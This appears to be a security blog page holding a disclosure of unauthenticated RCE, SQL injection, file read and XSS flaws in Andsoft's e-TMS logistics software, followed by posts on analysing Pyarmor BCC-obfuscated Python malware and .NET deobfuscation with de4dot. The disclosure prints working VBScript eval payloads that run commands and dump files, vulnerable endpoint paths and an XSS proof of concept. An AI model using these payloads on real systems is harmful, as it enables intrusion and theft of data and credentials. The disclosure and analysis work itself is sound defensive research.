I Know What You Shipped Last Summer - RCE, SQLi and More in Logistics Software e-TMS

Fri, 19 Sep 2025 12:00:00 +0000

During an external penetration test for one of our clients we stumbled upon their e-TMS instance. e-TMS is a transportation management software developed by Andsoft with a lot of features such as management of transport orders, transport organization, tracking, invoicing and many more. We found several critical vulnerabilities such as multiple remote code executions, sql injections (paired with md5 hashed passwords…), a file read and reflected cross-site scripting - all unauthenticated! In fact, we did not test the authenticated part of e-TMS. According to Andsoft’s website, it is used by many large companies in the logistics sector, the largest of which has up to 41,000 employees and a revenue of 8.2 billion euros. During the penetration test, we identified 42 publicly exposed e-TMS instances, all susceptible to the discovered vulnerabilities.

Overview of the CVEs

While we requested only one CVE for each vulnerability type (=5 in total), the Spanish CNA INCIBE insisted on issuing one CVE for each occurrence of a vulnerability, resulting in a total of 40 CVEs. The vulnerabilities were found in v15.12 of e-TMS, and the client confirmed that their other instance with v25.03 (the latest as of January 2025) was also vulnerable to them.

CVE Number	Name	Severity
CVE-2025-59735 - CVE-2025-59741	Unauthenticated Remote Code Execution	Critical
CVE-2025-59742 - CVE-2025-59743	Unauthenticated SQL Injection	Critical
CVE-2025-59744	Unauthenticated File Read	High
CVE-2025-59746 - CVE-2025-59774	Reflected Cross-Site Scripting	Medium
CVE-2025-59745	Insecure Password Hashing (md5)	Medium

The advisory of INCIBE can be seen here.

Remediation

UPDATE (24.09.25)

Andsoft reached out to us and provided the following information:

The patches VNL 25001 and VNL 25010 were released in January 2025 and addressed some of the stated security vulnerabilities
As of e-TMS Version v25.04 - released in April 2025, all stated security vulnerabilities have been fully resolved
Annual penetration tests are performed to ensure e-TMS’ security

Initial

The critical vulnerabilities have been fixed by Andsoft in our clients’ instances. However, we have no information whether Andsoft has fixed them in the other clients’ instances, nor if there is an official version in which they have been fixed. In fact, the other vulnerabilities (Unauthenticated File Read, Reflected Cross-Site Scripting, Insecure Password Hashing) have still not been fixed in our clients’ instances as of 05.03.2025. Andsoft has not responded to our emails or to the Spanish national CNA INCIBE.

We have only examined the unauthenticated part of e-TMS. However, a quick look at the source code of the authenticated pages indicated that the situation there was even worse. It should therefore be carefully checked who has access to e-TMS and accounts that are no longer required should be removed. Furthermore, all users should be encouraged to set a strong and unique password so that attackers cannot gain access to the authenticated part via weak passwords.

Ideally, e-TMS should not be publicly accessible on the internet in order to reduce the attack surface until the serious vulnerabilities in the authenticated and, above all, unauthenticated part of e-TMS have been eliminated.

Figure 01: To fix and cooperate or not to fix and cooperate, that is the question

CVEs in Detail

Unauthenticated Remote Code Execution

One of the scanners we used (Dalfox) reported an XSS vulnerability (see Reflected Cross-Site Scripting) in the login page /clt/loginfrm.asp. While inspecting the vulnerable body parameter M, we noticed an interesting error message if M contained, for example, a ".

Figure 02: VB Script error message.

Even without any knowledge of French, we could clearly see that it was a Microsoft Visual Basic script error message stating that a string was not closed properly. This was already a good indicator that we had an unauthenticated remote code execution. Exploiting it required a bit of tinkering, as we are not that familiar with classic ASP and VB Script, as both are legacy and long deprecated.

Eventually, we came up with the payload 1 & Execute("Set shell=CreateObject(""WScript.Shell""):Set exec=shell.Exec(""cmd.exe /c whoami & cd & hostname""):Response.Write(exec.StdOut.ReadAll)") which allowed us to execute arbitrary commands and write their output to the response.

Figure 03: Exploiting the RCE.

Further, we have created payloads to

list all subdirectories in a directory 1 & Execute("Sub ListSubfolders(folderPath):Set fso=CreateObject(""Scripting.FileSystemObject""):Set folder=fso.GetFolder(folderPath):For Each subFolder In folder.SubFolders:Response.Write(subFolder.Path & ""<br>""):Response.Flush:Next:End Sub:ListSubfolders ""\\x.x.x.x\Inetpub\ANDSYS_WIN\""")
dump all files in a directory 1 & Execute("Set fso=CreateObject(""Scripting.FileSystemObject""):Set folder=fso.GetFolder(""\\x.x.x.x\Inetpub\ANDSYS_WIN\clt\""):For Each file In folder.Files: Set f=fso.OpenTextFile(file.Path,1):Response.Write(file.Name & ""<br>"" & f.ReadAll & ""<hr>""):f.Close:Response.Flush:Next")

Figure 04: Dumping source code.

This allowed us to dump the source code directory by directory without having to deal with the client’s EDR.

And, oh boy, was the source code a gold mine. Keep in mind that we were contracted for an external penetration test with a time constraint of ~1.5 hours per server. However, in order to dig for more gold, we decided to invest some of our slack time in exploring the source code, which resulted in the discovery of more critical vulnerabilities. We limited our scope to the unauthenticated portion of the web application, otherwise it would have been a bottomless pit.

In fact, there was not only the login page /clt/loginfrm.asp but a total of 25!

And many of them were vulnerable to the same RCE. It appears that some clients received a personalized login page with a hardcoded image of the client’s logo. Other than that, the code was identical. For some reason, the personalized login forms were delivered to all e-TMS clients.

Figure 05: 'Everyone' gets a customized login page vulnerable to RCE.

So let’s take a look at the vulnerable code in /clt/loginfrm.asp to see how the RCE was made possible.

Disclaimer: For legal reasons, we will not show any of the original source code. Therefore, we have mocked the vulnerable code using node.js. A positive side effect is that most of you are probably more familiar with JavaScript than VB Script anyway.

Figure 06: Vulnerable code of loginfrm.asp (mocked using node.js).

Well, that’s straightforward. It takes the value of the body parameter M and calls eval on it. The eval in VB Script behaves much like the eval in JavaScript: It takes a string and evaluates it as code… After a lot of back and forth, with our client being the man in the middle during the communication with Andsoft, they finally fixed it by changing the line containing the eval to strError = "LOGIN ERROR". This will only return a generic error message - without using eval.

While looking for the use of more evals in the unauthenticated parts of the web application, we stumbled upon /CLT/LOGINERRORFRM.ASP.

Figure 07: Vulnerable code of LOGINERRORFRM.ASP (mocked using node.js).

Almost the same vulnerability with the only difference that M is a query parameter instead of a body parameter.

Figure 08: Other page vulnerable to RCE.

Unauthenticated SQL Injection

Two SQL Injections have been found in the unauthenticated part of e-TMS.

The first one affects the /CLT/track_request.asp page.

Figure 09: Track request page.

While the default form presented is not vulnerable to SQLi, the form presented if the query parameter forgot=1 is set is vulnerable.

Figure 10: Vulnerable form.

This sends the following request to /inc/login/TRACK_REQUESTFRMSQL.ASP?FORGOT=1, which results in an SQL error message.

Figure 11: Request triggering sql error.

This error-based SQLi could be easily exploited using sqlmap to dump, among other things, the hashed passwords of the users. This revealed that the passwords were only md5 hashed (see Insecure Password Hashing (md5)).

But let’s have a look at the source code:

Figure 12: Vulnerable code of TRACK_REQUESTFRMSQL.ASP (mocked using node.js).

The query parameter FORGOT must have any value. This brings us to the part of the code where a SQL query is constructed. The body parameter USRMAIL is embedded directly into the SQL query without any validation or sanitization - leading to SQL injection. Although the code contains a function to sanitize untrusted data for SQL queries, it is not used in many places, such as here.

The second SQLi concerns /inc/connect/CONNECTION.ASP.

Figure 13: Request triggering sql error.

The cookie SessionID seems to be insecurely embedded in a SQL query. Let’s have a look at the source code:

Figure 14: Vulnerable code of CONNECTION.ASP (mocked using node.js).

The reason is similar to the first SQLi. request.cookies("SessionID") is passed directly to the SQL query and not to ToSqlVarcharQuote first.

Unauthenticated File Read

e-TMS has a page (lib/asp/DOCSAVEASASP.ASP) that returns the content of any file in the webroot. No authentication required.

Figure 15: File read being exploited to read the content of a file.

DOCURL specifies the target file and can be either a query or a body parameter. In particular, the configuration file of e-TMS, which contains SQL and Active Directory credentials, as well as API keys, is a high value target. However, we will not disclose it’s name or path :)

Reflected Cross-Site Scripting

Well, cross-site scripting (XSS) seems to be a big problem. Every page available to unauthenticated users was vulnerable to XSS.

/CLT/LOGINFRM.asp, /clt/LOGINFRM_DJO.ASP, /clt/LOGINFRM_LXA.ASP, /clt/LOGINFRM_BET.ASP, /clt/LOGINFRM_original.ASP, /clt/LOGINFRM_CAT.ASP: Query parameters l, demo, demo2, TNTLOGIN, UO and SuppConn
/lib/asp/alert.asp: Query parameter M
/clt/resetPassword.asp: Query parameter L
/CLT/changepassword.ASP: Query parameters Reset and L
/CLT/TRACK_REQUEST.ASP: Query parameters forgot and L

Here is a simple PoC (/clt/loginfrm.asp?l="><svg/onload="alert(%27still%20not%20fixed%27)">) to illustrate this:

Figure 17: Exploitation of one of the XSS

Insecure Password Hashing (md5)

The Unauthenticated SQL Injection was exploited to dump the user table. This revealed that the passwords were simply hashed using the insecure md5 hashing algorithm. Thus, most of the passwords could be cracked without any effort. Let’s take a look at the encrypt function:

Figure 18: Code of the encrypt function (mocked using node.js).

While e-TMS seems to support both MD5 and SHA256 as hashing algorithms, the SHA256 case cannot be reached because it is hardcoded to use MD5.

Timeline

2025-01-06	Start of the external penetration test
2025-01-13	Reported RCEs and SQLis to our client
2025-01-16	End of the external penetration test
2025-01-17	Attempt #1 to contact the vendor - no response
2025-01-27	Delivered the penetration test report to our client
2025-01-27	Attempt #2 to contact the vendor - no response
2025-02-26	Requested CVEs with INCIBE as CNA
2025-04-25	Asked INCIBE for a status update - the vendor did not respond to them
2025-09-19	CVEs were published

Notes on Pyarmor BCC Mode

Fri, 30 May 2025 12:30:00 +0000

Intro

Throughout the last month, it has been brought to our attention by multiple parties that threat actors have increasingly started using BCC mode for protecting their Python scripts.

Dashingsoft, the company behind Pyarmor, describes BCC mode as follows on their homepage:

Converts some Python functions to C functions and compiles them into machine instructions using high optimization options for irreversible obfuscation.

We assume BCC is short for something akin to “Bytecode to C Compilation”.

From the sound of it, this does not bode well. In today’s post, we’ll delve into this form of obfuscation and see what can be done to get some insight into the protected code for the purpose of malware analysis.

Enter BCC

The first question is: Where can we even find the functions that have been compiled to native code? It turns out, the tooling we developed as part of the last blog post already dumped it - albeit by accident. Some users of the script were confused that they weren’t able to unmarshal any Python data after initially decrypting the Pyarmor blob, because… well, see for yourself.

Figure 1: That's not marshaled Python data!

Seeing an ELF (Executable and Linkable Format) file here is quite unusual, especially since the malware in question is targeting Windows. However, that’s not the only unusual thing: The ELF structure is quite malformed and IDA, for example, refuses to load the file because it can’t make heads or tails of the headers. Our suspicion is that Pyarmor produces an ELF object during its compilation process and then heavily customizes the header for its own purposes.

At runtime, VirtualAlloc is used to allocate a single area of memory with RWX permissions that the entire ELF is written into. The Pyarmor runtime then performs some computations to retrieve the following information from the header:

A pointer to a function table, describing which functions are present in the binary and where they begin. Located at 0x160 in Figure 1.
An offset where the Pyarmor runtime should place a pointer to an “interface” object that allows the BCC code to interact with the outside world. Located at 0xE0 in Figure 1.

Figure 2: Function table in the ELF

As can be seen in Figure 2, each table entry consists of 4 qwords: A pointer to the null-terminated function name (not very expressive; it’s bcc_ followed by the line number in the original script), a pointer to the function itself, and two values that are always 1 and 0 here. This happens to be a perfect match for the PyMethodDef struct. The value denoted as 1 is the method flags, METH_VARARGS. The 0 is for the function docstring pointer, which Pyarmor has no reason to supply.

How are BCC functions called?

So far, we’ve dumped the BCC ELF file. Where is the Python module that we expected in the first place, which should contain bytecode that calls the BCC parts in some fashion?

It turns out there are two encrypted Pyarmor blobs in the bytes-string passed to __pyarmor__ when BCC mode is used. The first is the ELF, the second one the compiled Python module. We adjusted our tooling so that it is aware of this situation and saves both.

The disassembly of a BCC stub function looks like this:

Disassembly of <code object main at 0x73c1cb604ab0, file "<frozen main>", line 41>:
 41           0 RESUME                   0

  1           2 LOAD_CONST               0 (None)
              4 STORE_FAST               0 (__assert_bcc__)

  2           6 PUSH_NULL
              8 LOAD_CONST               1 ('__pyarmor_bcc_54438__')
             10 NOP
             12 PRECALL                  0
             16 CALL                     0

 41          26 RETURN_VALUE

There’s nothing spectacular going on here - it assigns an __assert_bcc__ variable and then does a call. The call is on a string constant __pyarmor_bcc_54438__ - we’d expect it to go to bcc_41 in the ELF. How do the two relate?

If you remember our previous blog post on Pyarmor, you may remember we encountered some extra data in code objects marshaled by Pyarmor. At the time we ignored it and didn’t do a deeper analysis, because it didn’t really matter for our purposes. That has changed now. We figured out that it’s essentially a mapping that describes how to patch the co_consts of the code object being loaded. The patches inject native function references.

There are multiple types of patches, the most important ones are:

Replace constant with reference to one of three Pyarmor runtime functions: C_ASSERT_ARMORED, C_ENTER_CO_OBJECT or C_LEAVE_CO_OBJECT. In the example above, this happens for constant index 0, which is specified as None. The patch data dictates that it gets overwritten with a reference to C_ASSERT_ARMORED.
Replace constant with a PyCMethod that references a definition in the BCC function table. This happens for constant index 1 in the example. The patch data maps it to BCC table index 0, which is bcc_41 as expected.

The previous contents of the constant are ignored - as far as we understand, the __pyarmor_bcc_54438__ string may as well have been None without breaking anything.

All in all, this nifty injection/replacement logic enables everything to work together seamlessly, without requiring further trickery such as intercepting CALL instructions in the bytecode.

We’ve expanded our tool repository with a new bcc_info.py script that parses the data and prints the mappings, among other things.

Interactions between BCC code, Pyarmor, and Python

The native code does not exist in a vacuum, or in other words, it’s not at all self-contained. It needs to have frequent interactions with the Python interpreter for tasks such as retrieving object attributes and calling other functions. This also goes for calling other BCC functions: they aren’t called directly - instead, it takes the roundtrip through the interpreter.

Another interesting topic is math. Consider the following Python expression: (100000000000 + 300000000000) ** 2. While the addition would work with a standard C + operator (given that 64-bit integer types are used), an exponentiation operator is not directly available, and the final result is so large that it would require using a library for working with big numbers. Pyarmor thus cannot translate any numeric operation directly into native code. The numbers stay wrapped into PyNumber objects, just as they would during “normal” script execution, and the native code needs to call into the Python interpreter to perform any kind of operation such as addition, multiplication, and so on.

All of these interactions are made possible by a special struct that the Pyarmor runtime shares with the BCC code. It contains mostly function pointers, but also a handful of object references.

We’ve reverse engineered the most important parts of the structure.

enum GLOBAL_OPS
{
  GLOBAL_DELETE = 0x0,
  GLOBAL_GET = 0x1,
  GLOBAL_RETURN_GLOBALS = 0x2,
  GLOBAL_SPECIAL_ENTER = 0x4, /* __enter__ */
  GLOBAL_SPECIAL_EXIT = 0x5, /* __exit__ */
  GLOBAL_SET_MIN = 0x10, /* anything above means Set (pointer value instead of int) */
};

struct bcc_ftable
{
  _QWORD p_stdin;
  void (__fastcall *memset)(void *, _QWORD, _QWORD);
  _QWORD p_stderr;
  _QWORD fprintf;
  void *(__fastcall *PyNumber_operator)(void *a, void *b, int operatortype);
  __int64 (*build_collection)(__int64 colltype, __int64 count, ...);
  __int64 *(__fastcall *call_python_func)(__int64 bDontCall, __int64 *pyCallable, int bArgsRequired, int bKwArgsRequired, __int64 *argsTuple, __int64 *kwargsDict);
  int (__fastcall *set_exception_if_none_was_raised)(int mode);
  void *(__fastcall *comparison)(void *unused, int operatortype, void *left, void *right);
  _QWORD qword48;
  _QWORD fetch_exception;
  _QWORD string_format;
  void *(__fastcall *globals_operation)(void *unused, void *key, GLOBAL_OPS modeOrValueForSet);
  _QWORD op_mkfunc_not_available;
  void *(__fastcall *iter_next)(void *);
  _QWORD qword78;
  _QWORD qword80;
  _QWORD update_exception_info;
  _QWORD qword90;
  __int64 (__fastcall *unpack_values)(void *unused, void *input, int maxCount, void **output);
  _QWORD qwordA0;
  _QWORD new_function;
  _QWORD qwordB0;
  _QWORD import_stuff;
  _BYTE gapC0[32];
  _QWORD Py_NoneStruct;
  _QWORD Py_TrueStruct;
  _QWORD Py_FalseStruct;
  _QWORD gapF8;
  int (__fastcall *PyBytes_AsStringAndSize)(void *obj, char **buffer, _QWORD *length);
  void *(__fastcall *PyCell_Get)(void *cell);
  void *(__fastcall *PyCell_New)(void *ob);
  int (__fastcall *PyCell_Set)(void *cell, void *value);
  void (__fastcall *PyErr_Clear)();
  void *(__fastcall *PyErr_Occurred)();
  void (__fastcall *PyErr_SetObject)(void *type, void *value);
  void *(__fastcall *PyEval_GetGlobals)();
  void *(__fastcall *PyImport_ImportModule)(const char *name);
  void *(__fastcall *PyImport_ImportModuleLevel)(const char *name, void *globals, void *locals, void *fromlist, int level);
  int (__fastcall *PyList_Append)(void *list, void *item);
  void *(__fastcall *PyList_New)(__int64 len);
  void *(*PyObject_CallFunction_SizeT)(void *callable, const char *format, ...);
  void *(*PyObject_CallFunctionObjArgs)(void *callable, ...);
  void *(*PyObject_CallMethod_SizeT)(void *obj, const char *name, const char *format, ...);
  int (__fastcall *PyObject_DelItem)(void *, void *key);
  void *(__fastcall *PyObject_GetAttr)(void *, void *attr_name);
  void *(__fastcall *PyObject_GetItem)(void *, void *key);
  void *(__fastcall *PyObject_GetIter)(void *);
  int (__fastcall *PyObject_IsTrue)(void *);
  int (__fastcall *PyObject_SetAttr)(void *, void *attr_name, void *v);
  int (__fastcall *PyObject_SetItem)(void *, void *key, void *v);
  int (__fastcall *PySet_Add)(void *, void *key);
  void *(__fastcall *PySet_New)(void *iterable);
  void *(__fastcall *PySlice_New)(void *start, void *stop, void *step);
  void *(__fastcall *PyTuple_GetItem)(void *p, __int64 pos);
  void (__fastcall *Py_DecRef)(void *);
  void (__fastcall *Py_IncRef)(void *);
};

In the first half we have a couple C language functions and pointers, followed by helper functions defined in the Pyarmor runtime. The second half consists of pointers to functions and structs exposed by the standard Python C API.

The struct is created in the __pyarmor__ C implementation:

  ftable_->memset = memset;
  ftable_->p_stderr = v67(2LL);
  ftable = *bcc_state_;
  ftable->fprintf = fprintf;
  ftable->PyNumber_operator = bcc_PyNumber_operator;
  ftable->build_collection = bcc_build_collection;
  ftable->call_python_func = bcc_call_python_func;
  ftable->set_exception_if_none_was_raised = bcc_set_exception_if_none_was_raised;
  ftable->comparison = bcc_comparison;
  ftable->qword48 = sub_648D2580;
  [ ... ]

An example of BCC code

Let’s study a small example of what Python code that was translated to C could look like.

  call_python_func = ftable->call_python_func;
  v9 = (_DWORD *)v4[3];
  if ( v9 )
  {
    ++*v9;
    v10 = ftable->globals_operation(v23, v9, GLOBAL_GET);
    v7 = ftable;
  }
  else
  {
    v10 = 0LL;
  }
  v7->Py_DecRef(v9);
  v11 = (_DWORD *)v4[4];
  if ( v11 && (++*v11, v10) )
    v12 = (__int64 *)ftable->PyObject_GetAttr(v10, v11);
  else
    v12 = 0LL;
  ftable->Py_DecRef(v10);
  ftable->Py_DecRef(v11);
  build_collection = ftable->build_collection;
  if ( v26 )
    ++*(_DWORD *)v26;
  v14 = (__int64 *)build_collection(1LL, 1LL);
  v15 = call_python_func(0LL, v12, 1, 0, v14, 0LL);

The code performs the following steps:

A global variable is retrieved by name.
An attribute is retrieved from the object pointed to by the variable.
The retrieved attribute happens to be a Callable, which is called at the end.

If we imagine the global was sys, and the attribute was exit, we’d have something like sys.exit(argument). The argument resides in v26, which is initially set somewhere above in code not shown here; unfortunately, the decompiler doesn’t seem to understand the variadic nature of the build_collection function and never shows more than two parameters (it also doesn’t offer the option to add them manually in this case).

The example shows the effect of BCC mode: a single line of Python code is easily blown into 30 lines of C pseudocode. While it’s not too hard to follow what’s going on, it’s not so easy to intuit at a glance what the code is doing as a whole. Everything is quite spread out and interspersed with low-level details such as reference counting.

If you analyze a BCC code blob, you’ll find that it doesn’t contain any strings to speak of, nor any other constants. In the example above, we saw references such as v4[3] and v4[4]. This pattern can be found in all BCC functions, and the indexes mostly increase, with some rarely being reused. It stands to reason that we found the usages of the constants - next, we need to figure out where to find the actual values.

Constant In All Other Things

At the beginning of each BCC function you’ll see something like this:

v4 = *(__int64 **)(a1 + 8LL * *(int *)(a1 + 16) + 16);

Followed by references to v4 starting with array index 3.

The first question is, what is a1? We’ve seen that BCC functions are created as PyCMethod instances, which get PyObject *self as first parameter. While normally, method means a function that is part of a class and is invoked on object instances of said class, the Pyarmor authors decided to repurpose it: they pass co_consts as self.

The co_consts of the example in the previous section looks like this: (None, '__pyarmor_bcc_54440__', ('sys', 'exit')). That last tuple looks interesting - it would be a good fit. Thus, we’re looking for the access pattern tuple-in-a-tuple.

The items in a (native) Python tuple start at offset 24, while the size resides at offset 16 (note: these values depend on the Python version and build settings). With the knowledge that our tuple of interest is the last one, we can rewrite the code in multiple steps in order to make sense of it:

v4 = *(__int64 **)(a1 + 8LL * a1->count + 16);
v4 = *(__int64 **)(a1 + 8LL * (a1->count - 1) + 24);
v4 = a1->items[a1->count - 1]; // last one in co_consts

sys_str = v4[3]; // aka v4 + 24
sys_str = v4->items[0];
exit_str = v4[4]; // aka v4 + 24 + 8
exit_str = v4->items[1];

Now, it would be quite annoying to have to manually look up every single constant, especially in larger methods with dozens of values. We developed an IDA script that works with the output of the bcc_info.py script and adds comments to all constant references in the decompiler view (ida_annotate_bcc.py on GitHub). As an added bonus, it creates and names functions in the ELF if they don’t exist yet.

Conclusion

Analyzing samples protected with BCC mode can be a formidable challenge, especially without tooling support. The translation to C makes any existing tools that work with Python bytecode completely useless, and the clever separation of code and data adds further complications.

We hope that this research and the support scripts we’ve provided will prove helpful to the community in analyzing threats protected with this obfuscation.

Pyarmor-Tooling repository on GitHub: https://github.com/GDATAAdvancedAnalytics/Pyarmor-Tooling

.NET Deobfuscation

Mon, 07 Apr 2025 13:00:00 +0000

Intro

In the last post, we ended up with a couple .NET Framework malware samples that had obfuscation applied to them.

.NET is a runtime environment that executes intermediate code (CIL) in a managed way, using a just-in-time compiler to translate it into native machine code at runtime. In order to make that possible, a .NET binary (more commonly called assembly) has clearly laid out information about contained types, fields, methods, and more. In short, there’s much more structure and less ambiguity when compared to native binaries, and there is very mature tooling support for working with those structures programmatically.

This post will provide an overview over a couple of obfuscation techniques that are commonly encountered in .NET assemblies and how to deal with them. Often, you’ll find tools that automatically deobfuscate everything for you, but the question is, what if those tools aren’t working correctly in your particular case? It’s good to know how exactly they work their magic and, if required, to be able to fix or extend them. At times, this post will take on a tutorial-like tone, because there are not many resources at all that explain how to extend de4dot.

Common obfuscation techniques

Our survey of techniques won’t be exhaustive, we will just look at some of the most commonly used ones.

We’ll be working with de4dot’s code, because it’s an excellent framework for .NET code deobfuscation. It provides many little helpers and strategies that can be easily customized/extended to undo most common types of obfuscation.

Technique: Packing

The classic. The actual malware is encrypted and/or compressed, unpacked into memory at runtime, and then loaded into the process. In most cases, this involves a more or less obvious call to Assembly.Load, followed by some reflection code to invoke a method and begin execution.

Take, for example, the following decompiled code:

internal static void SetupConnection()
{
    ResolverParamWrapper.SortConnection().GetTypes().Where(new Func<Type, bool>(ResolverParamWrapper.<>c.factory.QueryConnection))
        .First<Type>()
        .InvokeMember(MapperFactoryAdapter.LoginConnection(-857235653 ^ -1181772793 ^ <Module>{4b736177-9522-4a80-a461-378c599d9c8d}.m_a5d71990efab4dc4a1801d81bc710517.m_327fb7ca8cde492882cd8691cd3b5b85), BindingFlags.InvokeMethod, null, null, null);
}

private static Assembly SortConnection()
{
    return Assembly.Load(ParamsConsumerComp.ResetConnection());
}

SetupConnection() is directly called by the entry point of the packed malware.

Essentially, we have the following sequence of events:

SortConnection() is called.
ResetConnection() is called to retrieve a byte array. If we were to look into that method, we’d see a huge byte array of around 300 KB and some crypto logic.
The byte array is loaded as a new .NET assembly and returned.
Back in SetupConnection(), a type is looked up based on some criteria.
InvokeMember is used on the type to get execution going.

If you’re wondering about the absurd method names: the obfuscator probably auto-generated them in some fashion to make things look somewhat legit when taking a very superficial glance.

Apart from some light obfuscation (you might have noticed the XOR operations and long hexadecimal field names, which are part of a string encryption mechanism), this could be called a text book example of .NET packing. Sometimes it won’t be quite so easy to spot - for example, the assembly loading could be buried deep into the call tree or control flow flattening might have been applied.

The most straight-forward way of dealing with this is to load the sample in dnSpyEx, set a breakpoint in Assembly.Load, and save the unpacked byte array to disk.

Alternatively, a tool like DotDumper could prove useful, especially in cases where the assembly loading part isn’t blatantly obvious in the packer. DotDumper is a neat tool in general, since it can reveal quite a lot about a sample via hooking and detailed logging.

Technique: Delegates / Proxies

Using delegates is a very popular technique to obfuscate method calls that are being made. The way this works is to wrap the call into an object (the delegate) and invoking the delegate instead of the original method. The severity of this obfuscation can range from ‘annoying’, where you can see what’s being called by just checking where the object is constructed, to ‘impossible by hand’, where it’s not possible to discern the call target without tooling support.

A simplistic example might look like this:

delegate void ObfuscatedDelegate();

static void CallMe() => Console.WriteLine("CallMe was called!");

static void Main()
{
    ObfuscatedDelegate obfuscatedCall = new ObfuscatedDelegate(CallMe);
    obfuscatedCall();
}

The construction of the delegate object doesn’t necessarily need to happen directly before the call; it could also be initialized as a static variable, for example, and then be used whenever CallMe should be called. You can see how this adds an indirection, because you need to look elsewhere for what obfuscatedCall() actually means. For a single method it’s manageable, but often enough, all calls in the assembly will get this treatment.

In the following we have a more complicated example, where each call target gets its own separate class:

internal sealed class SpecificationValue : MulticastDelegate
{
  public extern bool Invoke(object);

  public static bool WriteWorker(object A_0, SpecificationValue A_1)
  {
    return A_1(A_0);
  }

  public extern SpecificationValue(object, IntPtr);

  static SpecificationValue()
  {
    AnnotationParserInstance.RateIndexer(typeof(SpecificationValue).TypeHandle);
  }

  internal static SpecificationValue CountIssuer;
}

And the accompanying call:

var result = SpecificationValue.WriteWorker(model, SpecificationValue.CountIssuer)

We can see the method is supposed to take an object and returns a boolean, but we can’t see what function is actually called. WriteWorker takes the original call arguments plus an instance of the SepcificationValue class, which is taken from the static CountIssuer field, and then calls the delegate. However, the field does not have an apparent value assigned to it. We can see that the static constructor is doing something, and quite conspicuously, it passes a TypeHandle parameter, which is an indication that reflection is used to dynamically manipulate the class at runtime. It stands to reason that this RateIndexer call is responsible for assigning a value to CountIssuer.

public static void RateIndexer(RuntimeTypeHandle value)
{
  Type typeFromHandle = Type.GetTypeFromHandle(value);
  if (AnnotationParserInstance.m_InterpreterModel == null)
  {
    lock (AnnotationParserInstance._SpecificationModel)
    {
      Dictionary<int, int> mapping = new Dictionary<int, int>();
      BinaryReader binaryReader = new BinaryReader(typeof(AnnotationParserInstance).Assembly.GetManifestResourceStream("Value.Expression"));
      binaryReader.BaseStream.Position = 0L;
      byte[] array = binaryReader.ReadBytes((int)binaryReader.BaseStream.Length);
      binaryReader.Close();

      // <snip>, decrypt array and fill mapping

      AnnotationParserInstance.m_InterpreterModel = mapping;
    }
  }

  FieldInfo[] fields = typeFromHandle.GetFields(BindingFlags.Static | BindingFlags.NonPublic | BindingFlags.GetField);
  for (int m = 0; m < fields.Length; m++)
  {
    FieldInfo fieldInfo = fields[m];
    int metadataToken = fieldInfo.MetadataToken;
    int targetToken = AnnotationParserInstance.m_InterpreterModel[metadataToken];
    bool isVirtualCall = (targetToken & 0x40000000) > 0;
    targetToken &= 0x3fffffff;
    MethodInfo methodInfo = (MethodInfo)typeof(AnnotationParserInstance).Module.ResolveMethod(targetToken, typeFromHandle.GetGenericArguments(), new Type[0]);
    if (methodInfo.IsStatic)
    {
      fieldInfo.SetValue(null, Delegate.CreateDelegate(fieldInfo.FieldType, methodInfo));
    }
    else
    {
      // <snip>, dynimcally generate code for calling non-static method
    }
  }
}

The code above has been shortened and prettied up to only contain the most important pieces. Breaking it down, it performs the following steps:

It checks if the token mapping has already been loaded. If not:
1. An assembly resource is looked up and loaded into a byte array.
2. The byte array is decrypted with a custom algorithm.
3. Pairs of 32-bit integers are read from the byte array and inserted into a dictionary.
4. This dictionary will be the token mapping in m_InterpreterModel.
All static fields in the type of interest (our delegate class) are looked up. In the previous example, this is essentially just the CountIssuer field.
For each such field, its metadata token is used as an index into the token mapping dictionary to obtain a new token.
The new token is resolved into a method, which in turn is used to create a delegate object.
The delegate is assigned to the static field, solving the mystery of where its value comes from.

So, to sum it up, we get a mapping from static field tokens in the delegate types to the actual call target.

>> Short primer on .NET metadata tokens

Internally, types, methods, fields, and so on are not referenced by their name. Rather, .NET uses so-called metadata tokens, which are 32-bit integers that uniquely identify an entity in the current assembly. The integers consist of a metadata table index (upper 8 bits) and row index into the respective table (lower 24 bits, also called RID).

dnSpy shows the tokens as comments by default, and it also shows the decimal representation of the RID (0x927 equals 2343):
// Token: 0x04000927 RID: 2343
internal static SpecificationValue CountIssuer;
The table indexes are defined in the ECMA-335 spec - some important ones are:

02: TypeDef

04: Field

06: Method

0A: MemberRef (fields/methods located in other assemblies)

Table contents can be viewed directly in dnSpy by expanding the Tables Stream under PE -> Storage Stream #n in the Assembly Explorer.

Some examples from our obfuscated assembly:

04000479 -> 0A0001D3 System.Void System.Environment::Exit(System.Int32)
0400047A -> 060009EC System.Void ProtoBuf.Listeners.MessageModelListener::EnableDatabase()
0400047B -> 060009F2 System.Void Dbpkc.Maps.RoleAuthenticationMapping::kLjw4iIsCLsZtxc4lksN0j()
0400047C -> 0A0001D4 System.Void System.Threading.Timer::Dispose()

As can be seen, the targets can be either references to the class library (0A) or references to methods in the malware (06).

Deobfuscation with de4dot

On the surface, breaking this type of obfuscation is easy. Obtain the mapping, find all delegate call sites, and replace the calls with their real targets. In fact, finding the call sites and replacing them is something that is pretty much entirely handled by de4dot - you just need to tell it how to identify the delegate classes and provide the mapped call. There are ProxyCallFixer classes that can be inherited from when adding code for a new deobfuscator. The classes are numbered from 1 to 4, which is not terribly helpful, but comments above the classes describe what sort of situation they apply to.

In our case, ProxyCallFixer3 would be the most appropriate, because our call sites consist of static methods, and a delegate instance is pushed as last parameter:

// Fixes proxy calls that call a static method with the instance of
// a delegate as the last arg, which then calls the Invoke method.
//		...push args...
//		ldsfld delegate instance
//		call static method
public abstract class ProxyCallFixer3 : ProxyCallFixer1

When inheriting from this class, there’s a bare minimum of three things you need to do:

Override GetCallInfo
Override CheckCctor
Call SetDelegateCreatorMethod in constructor

That’s all. Next, you instantiate your fixer class, call Deobfuscate, and it’ll work its magic. You don’t need to worry about things like replacing IL instructions at call sites - it’s all handled for you.

GetCallInfo

We’re going to start with GetCallInfo, because it’s pretty straight-forward. It’s called when de4dot wants to map a delegate field to the actual called method. You need to provide the called method and the IL opcode for the call, which is mostly either going to be Call or Callvirt.

protected override void GetCallInfo(object context, FieldDef field, out IMethod calledMethod, out OpCode callOpcode) {
  calledMethod = null;
  callOpcode = null;

  if (_mapping == null || !_mapping.TryGetValue(field.MDToken.ToInt32(), out var mappedToken)) {
    return;
  }

  bool virtFlag = (mappedToken & 0x40000000) > 0;
  mappedToken &= 0x3fffffff;

  calledMethod = module.ResolveToken(mappedToken) as IMethod;
  callOpcode = virtFlag ? OpCodes.Callvirt : OpCodes.Call;
}

You may recognize some of the code from the RateIndexer method above, especially the bit masking. This is not surprising, because the token values obtained from the mapping need to be interpreted in the same way that the obfuscator handles them.

